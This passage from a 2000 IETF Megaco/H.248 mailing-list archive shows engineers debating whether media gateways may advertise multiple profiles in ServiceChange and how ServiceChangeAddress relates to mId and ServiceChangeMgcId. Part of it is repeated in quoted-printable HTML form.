> > > different ways.  If you support 100 profiles, you may
> > > as well just ignore the profile info and look at the
> > > audited package list!
> > >
> > > I want to make it HARD to have more than one profile
> > > per MG (not MGC).  Not impossible, just hard.  I think
> > > that will encourage coalescing around a small number of
> > > profiles for specific purposes that all relevant MGs and
> > > MGCs support, which in turn will make the protocol successful.
> > >
> > > What I fear is balkanization by proliferation of profiles,
> > > which leads to non-interoperable devices.  It would be non
> > > interoperable because there were no common profiles, rather
> > > that if you found a common one, it wouldn't work.  The
> > > package mechanism is a wonderful way to have all sorts of
> > > extensions and features in MGs.  The profile mechanism was
> > > designed to provide a way to corral the easy expansion into
> > > more limited groups of options.  Generally, successful
> > > protocols are not easy "bent" in many different ways -> you
> > > get ONE way, and everyone does it that way, and the world
> > > is better for it.  The package thing is great, but it is
> > > a danger.  The profile is the only way I know to limit it's
> > > potential to undermine the effectiveness of the protocol.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > Sent: Wednesday, September 06, 2000 10:01 AM
> > > > To: Michael P DiGioia
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> > > > Rosen, Brian
> > > > Subject: Re: Profiles in Service Change
> > > >
> > > >
> > > >
> > > >
> > > > Michael P DiGioia wrote:
> > > >
> > > > > Brian,
> > > > >
> > > > > > > So does that mean that nobody can make an MG which
> > > > supports more than
> > > > > > > one profile? :-)
> > > > >
> > > > > >One way to get around the limitation is to try to get
> > > > > >service using the most "featurefull" profile.  If you fail
> > > > > >to find an MGC that can serve that profile, try again with
> > > > > >a different profile.
> > > > >
> > > > > I agree. I believe the point is that any one MG can support
> > > > one or more
> > > > > profile, however, once the most featurefull profile is
> > > > found to be accepted
> > > > > by an MGC, use it.
> > > >
> > > > I disagree as Brian's comments assumes a meaningful ordering
> > > > relation between
> > > > (at least a resonable subset of) profiles based on some set
> > > > of features
> > > > supported. I don't see that. Christian's proposal of allowing
> > > > a listing of
> > > > profiles seemed pretty good to me - what was wrong with
> this again ?
> > > >
> > > > -- Flemming
> > > >
> > > > >
> > > > >
> > > > > What we build into our IpPhone MG is our choice. I don't
> > > > believe this limits
> > > > > us in any way. If so, how?
> > > > >
> > > > > /mpd
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
>
> --
> John Segers                                  email: jsegers@lucent.com
> Lucent Technologies                                        Room HE 303
> Dept. Forward Looking Work                      phone: +31 35 687 4724
> P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954
>

------_=_NextPart_001_01C01829.E5E093C0
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Profiles in Service Change</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>A couple of points to add to the below (I agree with =
reasoning and 1 profile at a time rule):</FONT>
</P>

<P><FONT SIZE=3D2>I do not expect profiles to completely get around =
auditing, merely make it a whole lot easier and more reliable.&nbsp; If =
termination/package structure, minimum package support, naming =
conventions and so on are all agreed implicitly by the MGC accepting a =
profile, then audits are used only to find out what else a particular =
MG does, and audits can be much more specifically directed.&nbsp; If an =
MGC wants to only support the minimum function, there may be no audits =
required at all in some cases (not the case in IP Phone BTW -- would =
still need to audit specific UI widgets supported by the UI =
termination).&nbsp; </FONT></P>

<P><FONT SIZE=3D2>In the example of a Fax IP Phone, an alternative to =
creating a new profile extending IP Phone is for the device just to =
support the IP Phone profile and use MGC audits to discover there is =
additional fax support in the MG.&nbsp; (Not too sure just what =
hypothetical package(s) we would need to add to make this so, but no =
worries about that here.)&nbsp; As long as the Fax IP Phone device =
follows the basic structure and rules of IP Phone, I don't see any =
interoperability trouble or ambiguity.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>Also, to re-iterate an earlier point, if we take it =
as given that profiles can define such things as assumed =
termination/package structure and naming conventions, then arbitrary =
mixing of multiple profiles is much more than understanding minimum =
required package support, and is a much trickier problem.&nbsp; =
Mutually incompatible assumptions may be made by the multiple profiles, =
and then how to sort out the resulting ambiguity in the MGC and =
MG?&nbsp; Yeti.&nbsp; Without rules for profile definition we have no =
way to sort this out for multiple simultaneous profiles.&nbsp; With the =
one profile at a time rule, the problem does not exist and yet we can =
still extend using additional packages within the overall structure =
defined by that profile.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>If it is desirable to create profiles that extend =
others (I think this would be a good thing), I submit we need to define =
formal definition rules to specify how this works, along the lines of =
what we did with packages.&nbsp; To my mind this would be an extension =
of the Megaco/H.248 Protocol, for version 2, not a job for the =
Implementer's Guide.&nbsp; Same goes for re-defining profile in =
ServiceChange -- must be tied to specific rules.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>-- Peter</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Rosen, Brian [<A =
HREF=3D"mailto:Brian.Rosen@MARCONI.COM">mailto:Brian.Rosen@MARCONI.COM</=
A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Wednesday, September 06, 2000 11:04</FONT>
<BR><FONT SIZE=3D2>To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>Subject: Re: Profiles in Service Change</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>I think that if we need to have faxphones, then we =
need</FONT>
<BR><FONT SIZE=3D2>a profile for them, and there should be one way to =
do that,</FONT>
<BR><FONT SIZE=3D2>which would be an extension of the Ipphone =
profile.</FONT>
</P>

<P><FONT SIZE=3D2>The real issue is, suppose you only had an MGC =
available that</FONT>
<BR><FONT SIZE=3D2>DID understand Ipphone, but did NOT understand =
Ipfaxphone.</FONT>
</P>

<P><FONT SIZE=3D2>What is the right thing to do?</FONT>
<BR><FONT SIZE=3D2>&nbsp;a) fail, because you can't fax, and a user may =
expect that</FONT>
<BR><FONT SIZE=3D2>&nbsp;b) use the Ipphone protocol and cause a local =
error if</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a user =
tried to fax</FONT>
<BR><FONT SIZE=3D2>&nbsp;c) have local action (provisioning, or local =
configuration)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that =
disables the fax function</FONT>
<BR><FONT SIZE=3D2>I'm not really sure what the best answer is.&nbsp; =
It's not</FONT>
<BR><FONT SIZE=3D2>obvious to me that there IS a good answer.&nbsp; =
It's good to</FONT>
<BR><FONT SIZE=3D2>use the lowest common denominator to get service, =
but you</FONT>
<BR><FONT SIZE=3D2>really ought to disable fax at the local terminal =
(which</FONT>
<BR><FONT SIZE=3D2>could downgrade the profile).</FONT>
</P>

<P><FONT SIZE=3D2>I do think you have raised another issue worth =
discussing,</FONT>
<BR><FONT SIZE=3D2>which is:</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Should we =
create a new profile to add one feature,</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; or should MGCs audit always?</FONT>
</P>

<P><FONT SIZE=3D2>This also seems to me to not have an ideal =
answer:</FONT>
<BR><FONT SIZE=3D2>&nbsp; Making tons of profiles to add features is =
clearly going to</FONT>
<BR><FONT SIZE=3D2>&nbsp; give us lots of non-interoperable =
devices</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; but</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp; auditing removes any usefulness of profiles =
for actual</FONT>
<BR><FONT SIZE=3D2>&nbsp; operation of the protocol</FONT>
</P>

<P><FONT SIZE=3D2>Brian</FONT>
</P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: John Segers [<A =
HREF=3D"mailto:jsegers@LUCENT.COM">mailto:jsegers@LUCENT.COM</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; Sent: Wednesday, September 06, 2000 10:48 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: Profiles in Service Change</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; I agree to the underlying idea that profiles =
could be used to restrict</FONT>
<BR><FONT SIZE=3D2>&gt; fragmentation.&nbsp; On the other hand, I think =
that Christian has a point.</FONT>
<BR><FONT SIZE=3D2>&gt; His example may have been unfortunate because =
it mentioned a call</FONT>
<BR><FONT SIZE=3D2>&gt; signaling protocol, but the point is =
valid.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Suppose that I want to build a MG that supports =
the IPphone</FONT>
<BR><FONT SIZE=3D2>&gt; profile, and</FONT>
<BR><FONT SIZE=3D2>&gt; I also build in IP fax support.&nbsp; If my MG =
signals that it supports the</FONT>
<BR><FONT SIZE=3D2>&gt; IPphone profile, the MGC infers that this MG =
supports a certain set of</FONT>
<BR><FONT SIZE=3D2>&gt; packages and maybe some things that are =
optional in the base megaco</FONT>
<BR><FONT SIZE=3D2>&gt; protocol.&nbsp; It doesn't have a reason to =
audit the MG and find</FONT>
<BR><FONT SIZE=3D2>&gt; out that it</FONT>
<BR><FONT SIZE=3D2>&gt; can also do IP fax.&nbsp; So how do I get the =
MGC to use the fax support</FONT>
<BR><FONT SIZE=3D2>&gt; (other than by provisioning the MGC with this =
information)?</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; John</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Flemming Andreasen wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; OK - I'll buy that.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; -- Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &quot;Rosen, Brian&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; What is wrong is that it promotes =
proliferation of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; many overlapping profiles.&nbsp; =
Profiles are supposed to be</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; a way of reducing the variability =
that Packages provide,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; so that one could reasonably expect =
to be able to find</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; interoperable MGs and MGCs.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; No one can legislate this (no =
protocol police...), but</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; we can encourage, or discourage =
proliferation of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; many profiles that attempt to solve =
the same problem</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; different ways.&nbsp; If you support =
100 profiles, you may</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; as well just ignore the profile info =
and look at the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; audited package list!</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; I want to make it HARD to have more =
than one profile</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; per MG (not MGC).&nbsp; Not =
impossible, just hard.&nbsp; I think</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; that will encourage coalescing around =
a small number of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; profiles for specific purposes that =
all relevant MGs and</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; MGCs support, which in turn will make =
the protocol successful.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; What I fear is balkanization by =
proliferation of profiles,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; which leads to non-interoperable =
devices.&nbsp; It would be non</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; interoperable because there were no =
common profiles, rather</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; that if you found a common one, it =
wouldn't work.&nbsp; The</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; package mechanism is a wonderful way =
to have all sorts of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; extensions and features in MGs.&nbsp; =
The profile mechanism was</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; designed to provide a way to corral =
the easy expansion into</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; more limited groups of options.&nbsp; =
Generally, successful</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; protocols are not easy =
&quot;bent&quot; in many different ways -&gt; you</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; get ONE way, and everyone does it =
that way, and the world</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; is better for it.&nbsp; The package =
thing is great, but it is</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; a danger.&nbsp; The profile is the =
only way I know to limit it's</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; potential to undermine the =
effectiveness of the protocol.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; -----Original =
Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; From: Flemming Andreasen [<A =
HREF=3D"mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Sent: Wednesday, September 06, =
2000 10:01 AM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; To: Michael P DiGioia</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Cc: =
MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Rosen, Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Subject: Re: Profiles in Service =
Change</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Michael P DiGioia wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Brian,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; So does that mean =
that nobody can make an MG which</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; supports more than</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; one profile? =
:-)</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;One way to get around =
the limitation is to try to get</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;service using the most =
&quot;featurefull&quot; profile.&nbsp; If you fail</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;to find an MGC that can =
serve that profile, try again with</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;a different =
profile.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; I agree. I believe the =
point is that any one MG can support</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; one or more</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; profile, however, once the =
most featurefull profile is</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; found to be accepted</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; by an MGC, use it.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; I disagree as Brian's comments =
assumes a meaningful ordering</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; relation between</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; (at least a resonable subset of) =
profiles based on some set</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; of features</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; supported. I don't see that. =
Christian's proposal of allowing</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; a listing of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; profiles seemed pretty good to =
me - what was wrong with</FONT>
<BR><FONT SIZE=3D2>&gt; this again ?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; -- Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; What we build into our =
IpPhone MG is our choice. I don't</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; believe this limits</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; us in any way. If so, =
how?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; /mpd</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Flemming Andreasen</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Cisco Systems</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Flemming Andreasen</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Cisco Systems</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; John =
Segers&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; email: =
jsegers@lucent.com</FONT>
<BR><FONT SIZE=3D2>&gt; Lucent =
Technologies&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Room HE 303</FONT>
<BR><FONT SIZE=3D2>&gt; Dept. Forward Looking =
Work&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; phone: +31 =
35 687 4724</FONT>
<BR><FONT SIZE=3D2>&gt; P.O. Box 18, 1270 AA&nbsp; =
Huizen&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fax: +31 =
35 687 5954</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C01829.E5E093C0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 14:03:21 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA19418
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 14:03:17 -0400 (EDT)
Received: from standards (47.234.32.16:1925) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90D31@standards.nortelnetworks.com>; Wed, 6 Sep 2000 13:48:22 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20673 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 13:48:22 -0400
Received: from qhars002.nortel.com (47.101.112.102:40744) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90D30@standards.nortelnetworks.com>; Wed, 6 Sep 2000
          13:48:21 -0400
Received: from smtprch2.nortel.com (actually erchg0k) by qhars002.nortel.com;
          Wed, 6 Sep 2000 19:01:12 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch2.nortel.com; Wed, 6 Sep 2000 12:56:20 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FDAC32>; Wed, 6 Sep 2000 13:00:01 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D32@zcard00g.ca.nortel.com>
Date:         Wed, 6 Sep 2000 12:59:47 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Flemming Andreasen <fandreas@cisco.com>,
              "Rosen, Brian" <Brian.Rosen@MARCONI.COM>,
              Bharat Kaul <bharat@TRILLIUM.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

OK, I'd say we have consensus on the following:

(1) As oft repeated, the mId designates a peer in a control session.  It
does not change even if the addresses used in the session change.  Different
port addresses could be used to designate different virtual MGs, but this is
a local implementation issue.

(2) ServiceChangeAddress can be used to change the address to which the peer
sends requests within the existing control session.  The ABNF syntax of
ServiceChangeAddress is VALUE, which permits designation of a port only
within a quoted string.  The difference between this and the ASN.1 syntax is
what started this whole thread, but is irrelevant because the functionality
is still available.  There is the legitimate question of whether the
ServiceChangeAddress functionality is needed.  I'm not sure I have consensus
to deprecate use of ServiceChangeAddress.

(3) ServiceChangeMGgcId is used to redirect the control session.  The ABNF
type of ServiceChangeMgcId is MId, which presumably is why MId is so
carefully developed as an address.

There is an open issue regarding TCP.  That is, is everyone prepared to
accept the restriction Bharat wants to place on TCP, to the effect that the
MG is never a listener?

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@cisco.com]
> Sent: Wednesday, September 06, 2000 10:39 AM
> To: Rosen, Brian; Taylor, Tom-PT [NORSE:B901:EXCH]; Bharat Kaul
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> So do we have any consensus resolution on this issue ?
>
> -- Flemming
>
> "Rosen, Brian" wrote:
>
> > Yeah, the mId started life as the thing in the header that let an
> > MGC know which entity it was talking to.  It's always been an
> > address though - desirable as an FQDN and acceptable to be a hard
> > address.
> >
> > The intention of ServiceChangeMid was to be the referral
> address for an
> > association that was not acceptable to the MGC.
> ServiceChangeAddress used
> > to be port, and it was just for changing port numbers, not
> addresses.  We
> > went downhill (IMO) from there.
> >
> > I'm with Flemming, one thing is all we need, but we are
> stuck with 2 for
> > now.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > > Sent: Tuesday, September 05, 2000 3:16 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > > I think we agree that MId is just an identifier of a peer
> in a control
> > > session.  I still ask myself why we defined it to be an
> > > address rather than
> > > an arbitrary string.  I suspect we changed intentions since
> > > it first showed
> > > up.
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > > > Sent: Tuesday, September 05, 2000 3:12 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > >
> > > > Bharat Kaul wrote:
> > > >
> > > > > Hi Flemming, Brian and List,
> > > > >
> > > > >   ServiceChangeMGCId should be kept for contacting a new
> > > > MGC or rather
> > > > > establishing new control Session.
> > > > >
> > > > > ServiceChangeAddress is for redirection within a MGC e.g.
> > > > MG contacts MGC at
> > > > > a default port and based on some policy MGC wants to assign
> > > > MG to a specific
> > > > > port, it should send ServiceChangeAddress specifying the
> > > > port.These two
> > > > > semantics seem clear and fair enough.
> > > >
> > > > I quite frankly don't understand the need for having port as
> > > > an identifier and
> > > > then being able to specify another port to override it, while
> > > > keeping the
> > > > identifier port the same.
> > > >
> > > >
> > > > >
> > > > >
> > > > > Port in MID should be just a tool to identify an entity
> > > > uniquely, with one
> > > > > requirement that MID for a control session is consistent
> > > between two
> > > > > entities.
> > > >
> > > > In that case it should be called something different than a
> > > > port, or at least be
> > > > treated as something different.
> > > >
> > > > -- Flemming
> > > >
> > > >
> > > > >
> > > > >
> > > > > - Bharat
> > > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > > > > Sent: Tuesday, September 05, 2000 8:29 AM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > > Let's take a step back here and ask ourselves what we are
> > > > trying to achieve:
> > > > >
> > > > > 1. We have a need to identify the entity we wish to
> > > communicate with
> > > > > 2. We have a need to communicate with that entity.
> > > > >
> > > > > This is a classical naming issue that doesn't need to
> > > become overly
> > > > > complicated. In order to get from the name in 1 to the
> > > > address (or route) in
> > > > > 2, you need to perform name resolution in the cases where
> > > > the name itself is
> > > > > not an address. For domain names, this name resolution is
> > > > achieved by DNS,
> > > > > for IP-addresses, it should normally be a NOP. By having both
> > > > > ServiceChangeMGGId and ServiceChangeAddress, you are
> > > > effectively providing
> > > > > an alternate name resolution mechanism which overrides DNS
> > > > and allows one
> > > > > IP-address to map to another. We should not be doing that,
> > > > and I also note
> > > > > that this was probably not the authors' intent, since
> > > > ServiceChangeAddress
> > > > > and ServiceChangeMGCId are not both allowed in a
> single command.
> > > > >
> > > > > That still leaves open the question of exactly what
> > > > ServiceChangeAddress
> > > > > then is, and I believe Brian answered that earlier with his
> > > > two proposals.
> > > > > In a perfect world, I would prefer getting rid of
> > > > ServiceChangeAddress, but
> > > > > we may be beyond that. Does it make sense to allow just a
> > > > port number then ?
> > > > > Considering that we already allow for port in mId, port is
> > > > part of the name
> > > > > and for the same reasons as we shouldn't map one IP-address
> > > > to another, we
> > > > > shouldn't map one port to another either IMO. If the MGC
> > > > (or MG) wants the
> > > > > other party to talk to it on another port, it simply sends
> > > > back another
> > > > > ServiceChangeMGCId with that port number in it.
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > It depends on what you want to have happen.
> > > > > >
> > > > > > If you want the MG, on receipt of a reply with a
> > > > ServiceChangeAddress,
